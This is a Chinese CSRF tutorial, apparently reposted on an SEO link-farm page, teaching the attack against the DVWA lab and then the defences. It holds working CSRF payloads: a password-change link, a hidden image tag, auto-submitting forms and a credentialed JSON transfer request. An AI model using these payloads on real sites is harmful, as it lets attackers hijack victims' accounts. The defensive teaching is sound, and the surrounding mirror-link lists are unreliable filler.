当前位置: 首页 > wzjs >正文

南阳网站推广优化公司哪家好开网络网站建设公司的优势

南阳网站推广优化公司哪家好,开网络网站建设公司的优势,无锡做网站公司有哪些,wordpress iis 中文乱码文章目录 一 初识CSRF二 CSRF攻击的工作原理三 DVWA环境中的CSRF演示3.1 DVWA环境搭建3.2 正常修改密码流程3.3 构造恶意链接3.4 自动化攻击演示四 CSRF与XSS的区别 五 CSRF攻击的防御措施5.1 使用CSRF Token5.2 验证Referer头部5.3 SameSite Cookie属性5.4 双重验证 六、实际开…

文章目录

  • 一 初识CSRF
  • 二 CSRF攻击的工作原理
  • 三 DVWA环境中的CSRF演示
    • 3.1 DVWA环境搭建
    • 3.2 正常修改密码流程
    • 3.3 构造恶意链接
    • 3.4 自动化攻击演示
    • 四 CSRF与XSS的区别
  • 五 CSRF攻击的防御措施
    • 5.1 使用CSRF Token
    • 5.2 验证Referer头部
    • 5.3 SameSite Cookie属性
    • 5.4 双重验证
  • 六、实际开发中的CSRF防护
    • 6.1 Django中的CSRF防护
    • 6.2 Laravel中的CSRF防护
    • 6.3 Spring Security中的CSRF防护
  • 七、CSRF攻击的高级变种
    • 7.1 JSON CSRF
    • 7.2 文件上传CSRF
  • 八、CSRF攻击的检测与测试
    • 8.1 手动测试步骤
    • 8.2 使用工具测试

一 初识CSRF

  • CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种常见的Web安全漏洞,它利用了Web应用程序对用户浏览器的信任机制。简单来说,就是攻击者诱骗受害者在登录受信任网站的情况下,访问恶意网站或点击恶意链接,从而在不知情的情况下以受害者身份执行非预期的操作。

  • 想象这样一个场景:你登录了网上银行后没有退出,然后不小心点击了一个朋友发来的"搞笑图片"链接。这个链接实际上暗藏玄机,它可能悄悄地向银行服务器发送转账请求,而银行认为这是你本人操作的,因为你的登录状态仍然有效。这就是CSRF攻击的典型例子。

二 CSRF攻击的工作原理

  • 要理解CSRF,需要了解几个关键概念:
  1. Cookie的身份验证机制:网站通常使用Cookie来维持用户的登录状态
  2. 浏览器的同源策略:限制不同源的脚本获取或修改其他源的资源
  3. 请求的自动携带:浏览器会自动在请求中携带当前域的Cookie

CSRF攻击之所以能成功,是因为:

  • 用户已经登录了目标网站(如银行、社交网络)
  • 目标网站仅依赖Cookie进行身份验证
  • 攻击者可以预测或知道请求的参数
  • 用户在没有登出目标网站的情况下访问了恶意页面

三 DVWA环境中的CSRF演示

  • 通过DVWA(Damn Vulnerable Web Application)安全演练的靶场来实际演示CSRF攻击。

3.1 DVWA环境搭建

  • 确保已经安装了DVWA(可以通过XAMPP、Docker等方式安装),并将安全级别设置为"low":
  1. 登录DVWA(默认账号admin/password)
  2. 点击"DVWA Security",选择安全级别为"Low"
  3. 进入"CSRF"模块

3.2 正常修改密码流程

  • 在DVWA的CSRF模块中,有一个简单的密码修改功能。正常流程如下:
    http://ip:port/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
    
  • 这个URL会触发密码修改操作,将密码改为"123456"。

3.3 构造恶意链接

  • 攻击者可以构造这样一个链接,并诱骗已登录DVWA的用户点击:
    <a href="http://ip:port/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change#">点击领取免费礼品卡!</a>
    
  • 或者更隐蔽的方式,使用图片标签:
    <img src="http://ip:port/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change#" width="0" height="0">
    
  • 当用户点击链接或加载图片时,密码就被悄无声息地修改了。

3.4 自动化攻击演示

  • 更高级的攻击可以通过自动提交表单实现:
    <html><body><form action="http://192.168.1.21:4280/vulnerabilities/csrf/" method="GET"><input type="hidden" name="password_new" value="hacked"><input type="hidden" name="password_conf" value="hacked"><input type="hidden" name="Change" value="Change"></form><script>document.forms[0].submit();</script></body>
    </html>
    
  • 当用户访问这个页面时,表单会自动提交,完成密码修改。

四 CSRF与XSS的区别

  • 初学者常常混淆CSRF和XSS(跨站脚本攻击),它们确实有一些相似之处,但本质不同:
特性CSRFXSS
攻击目标利用用户的身份执行特定操作窃取用户数据或会话信息
攻击方式需要用户点击链接或访问页面需要向页面注入恶意脚本
同源策略利用浏览器对目标网站的同源策略绕过直接违反同源策略
防御重点验证请求来源过滤用户输入和输出编码

五 CSRF攻击的防御措施

  • 了解了CSRF的攻击原理后,我们来看看如何防御:

5.1 使用CSRF Token

最有效的防御方法是使用CSRF Token。它的工作原理是:

  1. 服务器生成一个随机Token,存储在session中
  2. 将Token嵌入表单或请求参数中
  3. 提交请求时,服务器验证Token是否匹配
  • DVWA在"high"安全级别下就实现了CSRF Token:
// 生成Token
if( isset( $_SESSION[ 'session_token' ] ) ) {$session_token = $_SESSION[ 'session_token' ];
} else {generateSessionToken();
}// 验证Token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

5.2 验证Referer头部

  • 检查HTTP请求的Referer头部,确保请求来自合法的源:
if (strpos($_SERVER['HTTP_REFERER'], 'https://yourdomain.com') !== 0) {die("非法请求来源");
}

5.3 SameSite Cookie属性

  • 设置Cookie的SameSite属性可以限制第三方Cookie的发送:
Set-Cookie: sessionid=xxxx; SameSite=Strict; Secure; HttpOnly

SameSite有三种模式:

  • Strict:完全禁止第三方Cookie
  • Lax:宽松模式,允许部分安全请求(如导航)携带Cookie
  • None:关闭SameSite保护(需要同时设置Secure)

5.4 双重验证

  • 对于敏感操作(如转账、修改密码),要求用户进行二次验证(如输入密码、短信验证码等)。

六、实际开发中的CSRF防护

  • 在实际开发中,现代框架通常内置了CSRF防护:

6.1 Django中的CSRF防护

# 模板中
<form method="post">{% csrf_token %}...
</form># 视图中
from django.views.decorators.csrf import csrf_protect@csrf_protect
def my_view(request):# 视图逻辑

6.2 Laravel中的CSRF防护

// 表单中
<form method="POST" action="/profile">@csrf...
</form>// 验证
Route::post('profile', function () {// 请求会自动验证CSRF token
});

6.3 Spring Security中的CSRF防护

// 默认启用,只需在表单中添加
<input type="hidden" name="${_csrf.parameterName}" value="${_csrf.token}"/>

七、CSRF攻击的高级变种

  • 随着防御措施的普及,攻击者也开发出了一些高级CSRF技术:

7.1 JSON CSRF

  • 当API仅依赖Cookie认证且接受JSONP或宽松的CORS策略时,可能通过构造恶意页面发起JSON请求:
<script>var xhr = new XMLHttpRequest();xhr.open("POST", "https://api.example.com/transfer", true);xhr.withCredentials = true;xhr.setRequestHeader("Content-Type", "application/json");xhr.send('{"amount":1000,"to":"attacker"}');
</script>
  • 防御方法:严格设置CORS,拒绝非预期的Content-Type。

7.2 文件上传CSRF

  • 如果文件上传接口没有CSRF防护,可能被利用来上传恶意文件:
<form action="https://example.com/upload" method="POST" enctype="multipart/form-data"><input type="file" name="file"/><input type="hidden" name="token" value="malicious"/>
</form>
<script>document.forms[0].submit();</script>

八、CSRF攻击的检测与测试

  • 作为开发者,如何测试自己的应用是否存在CSRF漏洞?

8.1 手动测试步骤

  1. 登录目标应用,获取有效会话
  2. 在另一个浏览器标签中打开恶意页面
  3. 检查是否能在用户不知情的情况下执行操作
  4. 检查关键操作是否有CSRF Token等防护

8.2 使用工具测试

  • Burp Suite:使用CSRF PoC生成器
  • OWASP ZAP:自动扫描CSRF漏洞
  • CSRF Tester:Firefox插件

文章转载自:

http://oMlGYvl1.tfbpz.cn
http://3SxBbZhM.tfbpz.cn
http://EfBiLkVp.tfbpz.cn
http://hpcqc6bO.tfbpz.cn
http://YiWNzOFT.tfbpz.cn
http://3tfXJdSH.tfbpz.cn
http://rFyImXFS.tfbpz.cn
http://4VAVCbb5.tfbpz.cn
http://igMngWRg.tfbpz.cn
http://Qi19bNZQ.tfbpz.cn
http://KOvZU2yh.tfbpz.cn
http://Dmwwb8DV.tfbpz.cn
http://Pg0fNuMY.tfbpz.cn
http://rlUkQLzL.tfbpz.cn
http://LGkHjpES.tfbpz.cn
http://Uw52jsUD.tfbpz.cn
http://PvuY9eoC.tfbpz.cn
http://kvDFQLkd.tfbpz.cn
http://2d1QWbh0.tfbpz.cn
http://fRMqvZSE.tfbpz.cn
http://Kh9p12rJ.tfbpz.cn
http://mbYDEK0c.tfbpz.cn
http://KGXAbOHm.tfbpz.cn
http://VRznVoKA.tfbpz.cn
http://ajMto53X.tfbpz.cn
http://j5tiQJCg.tfbpz.cn
http://tUI2seea.tfbpz.cn
http://gPe23w2R.tfbpz.cn
http://6fSYIIhE.tfbpz.cn
http://F2Xej6E6.tfbpz.cn
http://www.dtcms.com/wzjs/662902.html

相关文章:

  • 网站页面怎么设计那些网站可以给产品做推广
  • 网站开发预算农业科技公司网站建设
  • 网站域名费怎么查询宁波seo搜索优化费用
  • 外贸网站建设哪里好校园网站开发
  • 做网站的工具怎么使用网站页面打开速度慢
  • wordpress 站群系统蓝色网站风格
  • 广州快速建站哪家服务专业做网站的费用如何入帐
  • 崂山网站建设做外贸网站 用国外空间 还是 国内空间 区别
  • 网站建设与维护是什么内容?简单wordpress主题
  • 微官网和公众号的区别网站建设优化哪家公司好
  • 网站模块源码百度小说app
  • 天津电子商务网站秦皇岛海三建设没钱了
  • 沈阳住房城乡建设部网站软件外包app
  • 有人拉我做彩票网站seo职位
  • 公众号怎么做微网站吗公司起名字大全免费三字
  • 搞网站开发的程序员属于哪一类平台门户网站建设方案
  • 做网站要不要交税好看的静态页面
  • 光谷做网站推广哪家好网站建设线框图
  • 国内漂亮大气的网站做好网站建设
  • 网站引导页利弊长沙专业做网站公司哪家好
  • 网站改版设计方案高端网站建设方案
  • 中山教育平台网站建设上海南桥网站建设
  • 国外网站建设模板wordpress不显示中文图片
  • 做网站有必要要源码吗wordpress开放用户注册
  • 网站建设款计入什么科目网站的基本布局
  • 海参企业网站怎么做设置网站的关键词
  • 企业网站用什么技术做网站开发 平面设计
  • 上海网站空间续费程序员接单网站
  • 做离线版申报表进入哪个网站seo的工作原理
  • 黄山网站设计公司秦皇岛市建设局